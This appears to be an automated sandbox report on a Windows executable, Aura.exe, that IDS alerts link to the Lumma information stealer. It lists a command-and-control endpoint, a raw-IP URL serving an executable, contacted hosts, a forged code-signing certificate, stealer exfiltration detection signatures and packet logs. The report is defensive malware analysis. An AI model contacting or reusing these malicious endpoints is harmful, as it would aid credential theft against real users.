https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	Aura.exe, 00000002.00000003.1816553901.0000000005B2E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/api1	Aura.exe, 00000002.00000002.3511433189.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531562354.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531148527.00000000033D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://aia.entrust.net/ts1-chain256.cer01	Aura.exe	false		high
http://147.45.47.81/conhost.exeS	Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States		13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States		20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581514
Start date and time:	2024-12-27 23:46:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Aura.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/1@11/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 59 Number of non-executed functions: 148
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Aura.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
23.55.153.106	Installer.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	Unknown	Browse
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	Installer.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
steamcommunity.com	Installer.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Installer.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	92.122.104.90
	Leside-.exe	Get hash	malicious	LummaC	Browse	92.122.104.90
	Setup.exe	Get hash	malicious	Unknown	Browse	104.121.10.34
	Setup.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	104.121.10.34

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	Installer.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Setup.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	23.55.153.106
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	grand-theft-auto-5-theme-1-installer_qb8W-j1.exe	Get hash	malicious	Unknown	Browse	184.85.182.130
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	23.55.153.106
CLOUDFLARENETUS	soft 1.14.exe	Get hash	malicious	Meduza Stealer	Browse	104.26.13.205
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0	Get hash	malicious	Unknown	Browse	172.67.216.74
	New Upd v1.1.0.exe	Get hash	malicious	LummaC	Browse	104.21.92.91
	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	Installer.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	phish_alert_iocp_v1.4.48 - 2024-12-27T140703.193.eml	Get hash	malicious	Unknown	Browse	104.18.11.207
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	104.21.73.97
	NewSetup.exe	Get hash	malicious	LummaC	Browse	172.67.157.249

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	New Upd v1.1.0.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Installer.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Installer.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	NewSetup.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	iviewers.dll	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106

Dropped Files

⊘No context

Created / dropped Files

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\Aura.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14402
Entropy (8bit):	4.874636730022465
Encrypted:	false
SSDEEP:	384:vlICCmV5fTMzsM3qlICCmV5fTMzsM3ip9guFx2rBhiLfmfU:vGCC+dMOGCC+dMY9guFx2rBo
MD5:	DF0EFD0545733561C6E165770FB3661C
SHA1:	0F3AD477176CF235C6C59EE2EB15D81DCB6178A8
SHA-256:	A434B406E97A2C892FA88C3975D8181EBEA62A8DA919C5221409E425DF50FD17
SHA-512:	3FF527435BC8BCF2640E0B64725CC0DB8A801D912698D4D94C44200529268B80AA7B59A2E2A2EA6C4621E09AA249AAA3583A8D90E4F5D7B68E0E6FFFEB759918
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	AcquireSRWLockExclusive..AcquireSRWLockShared..ActivateActCtx..ActivateActCtxWorker..AddAtomA..AddAtomW..AddConsoleAliasA..AddConsoleAliasW..AddDllDirectory..AddIntegrityLabelToBoundaryDescriptor..AddLocalAlternateComputerNameA..AddLocalAlternateComputerNameW..AddRefActCtx..AddRefActCtxWorker..AddResourceAttributeAce..AddSIDToBoundaryDescriptor..AddScopedPolicyIDAce..AddSecureMemoryCacheCallback..AddVectoredContinueHandler..AddVectoredExceptionHandler..AdjustCalendarDate..AllocConsole..AllocateUserPhysicalPages..AllocateUserPhysicalPagesNuma..AppPolicyGetClrCompat..AppPolicyGetCreateFileAccess..AppPolicyGetLifecycleManagement..AppPolicyGetMediaFoundationCodecLoading..AppPolicyGetProcessTerminationMethod..AppPolicyGetShowDeveloperDiagnostic..AppPolicyGetThreadInitializationType..AppPolicyGetWindowingModel..AppXGetOSMaxVersionTested..ApplicationRecoveryFinished..ApplicationRecoveryInProgress..AreFileApisANSI..AssignProcessToJobObject..AttachConsole..BackupRead..BackupSeek..BackupWrite..B

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.5671669193870175
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Aura.exe
File size:	569'384 bytes
MD5:	fd5fba5d5bef2952443b96241ffa5814
SHA1:	c6613e363bec49bdf5eb98ccf0f4ee85615cad29
SHA256:	08205d107a6b14818a12e3c8e30c3c7c3300e439359dfc0c99ed026815deca41
SHA512:	c05d7da1000551a91ca7542bdd9a837d99563bf3eab7a98d2ced77be9c171f4f20daa78e1f3dbf577bd6e2d3860bb1c9482ee5e9f5f2539056cc902c63d05f7f
SSDEEP:	12288:mYO6Dqzihouxpa+yWZ+QDKn5zXex8moYjG60VsZy/zQQYBqEO:fO6DThou2+y6b0o8moYy6SsZybvMqt
TLSH:	BDC4E0423691C4B3C953157699B9D779493EBC200F615ACB93A80BFECEB02C15F31A5E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....ng..........................................@.......................................@.................................\|j..<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4104a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x676E98E6 [Fri Dec 27 12:09:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	96d90e8808da099bc17e050394f447e7

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	12/01/2023 19:00:00 16/01/2026 18:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
call 00007FAD147D6D0Ah
jmp 00007FAD147D6B6Dh
mov ecx, dword ptr [0043B680h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FAD147D6D06h
test esi, ecx
jne 00007FAD147D6D28h
call 00007FAD147D6D31h
mov ecx, eax
cmp ecx, edi
jne 00007FAD147D6D09h
mov ecx, BB40E64Fh
jmp 00007FAD147D6D10h
test esi, ecx
jne 00007FAD147D6D0Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0043B680h], ecx
not ecx
pop edi
mov dword ptr [0043B6C0h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00436D00h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00436CB8h]
xor dword ptr [ebp-04h], eax
call dword ptr [00436CB4h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00436D50h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0043CF48h
call dword ptr [00436D28h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007FAD147DDAE3h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36a7c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8e000	0x3fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x88a00	0x2628	.bss
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3f000	0x2744	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32608	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ea98	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x36c3c	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b4ca	0x2b600	ebf84c6b836020b1a66433a898baeab7	False	0.5443702719740634	data	6.596404756541432	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2d000	0xc50c	0xc600	96e76e7ef084461591b1dcd4c2131f05	False	0.40260022095959597	data	4.741850626178578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x3714	0x2800	d87fd4546a2b39263a028b496b33108f	False	0.29814453125	data	5.024681407682101	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x3e000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3f000	0x2744	0x2800	c7508b57e36483307c47b7dd73fc0c85	False	0.75166015625	data	6.531416896423856	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x42000	0x4b200	0x4b200	819c6c38226d2bfad799df898d1785bc	False	1.0003282289933444	data	7.999409219617241	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8e000	0x3fc	0x400	4243bfa36d7c6187562be2edfa0b46c2	False	0.443359375	data	3.391431520369637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x8e058	0x3a4	data	English	United States	0.44849785407725323

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThread, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetConsoleWindow, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

USER32.dll

ShowWindow

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T23:47:27.879814+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	23.55.153.106	443	TCP
2024-12-27T23:47:28.679355+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49734	23.55.153.106	443	TCP
2024-12-27T23:47:30.304703+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T23:47:31.062522+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T23:47:31.062522+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T23:47:32.346762+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	104.21.66.86	443	TCP
2024-12-27T23:47:33.123035+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49736	104.21.66.86	443	TCP
2024-12-27T23:47:33.123035+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49736	104.21.66.86	443	TCP
2024-12-27T23:47:35.367774+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.66.86	443	TCP
2024-12-27T23:47:36.327711+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49737	104.21.66.86	443	TCP
2024-12-27T23:47:37.730606+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	104.21.66.86	443	TCP
2024-12-27T23:47:40.040652+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	104.21.66.86	443	TCP
2024-12-27T23:47:42.651807+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.66.86	443	TCP
2024-12-27T23:47:45.213010+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.66.86	443	TCP
2024-12-27T23:47:45.224331+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49743	104.21.66.86	443	TCP
2024-12-27T23:47:49.425230+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49747	104.21.66.86	443	TCP
2024-12-27T23:47:50.180498+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49747	104.21.66.86	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 23:47:26.436948061 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:26.436978102 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:26.437053919 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:26.440550089 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:26.440560102 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:27.879749060 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:27.879813910 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:27.884560108 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:27.884567976 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:27.884774923 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:27.931633949 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:27.941705942 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:27.983329058 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.679384947 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.679413080 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.679446936 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.679466009 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.679476023 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:28.679481983 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.679500103 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:28.679503918 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.679526091 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:28.679552078 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:28.848757029 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.848809958 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.848853111 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:28.848860979 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.848906040 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:28.874054909 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.874093056 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.874125004 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:28.874125004 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.874171019 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:28.886580944 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:28.886598110 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:28.886612892 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:47:28.886619091 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:47:29.073426008 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:29.073462963 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:29.073529959 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:29.073776007 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:29.073786974 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:30.304641008 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:30.304702997 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:30.307197094 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:30.307208061 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:30.307411909 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:30.308506012 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:30.308533907 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:30.308566093 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:31.062527895 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:31.062618971 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:31.062760115 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:31.062824011 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:31.062844992 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:31.062858105 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:31.062863111 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:31.088115931 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:31.088150978 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:31.088247061 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:31.088507891 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:31.088515043 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:32.346508026 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:32.346761942 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:32.348295927 CET	49736	443	192.168.2.4	104.21.66.86
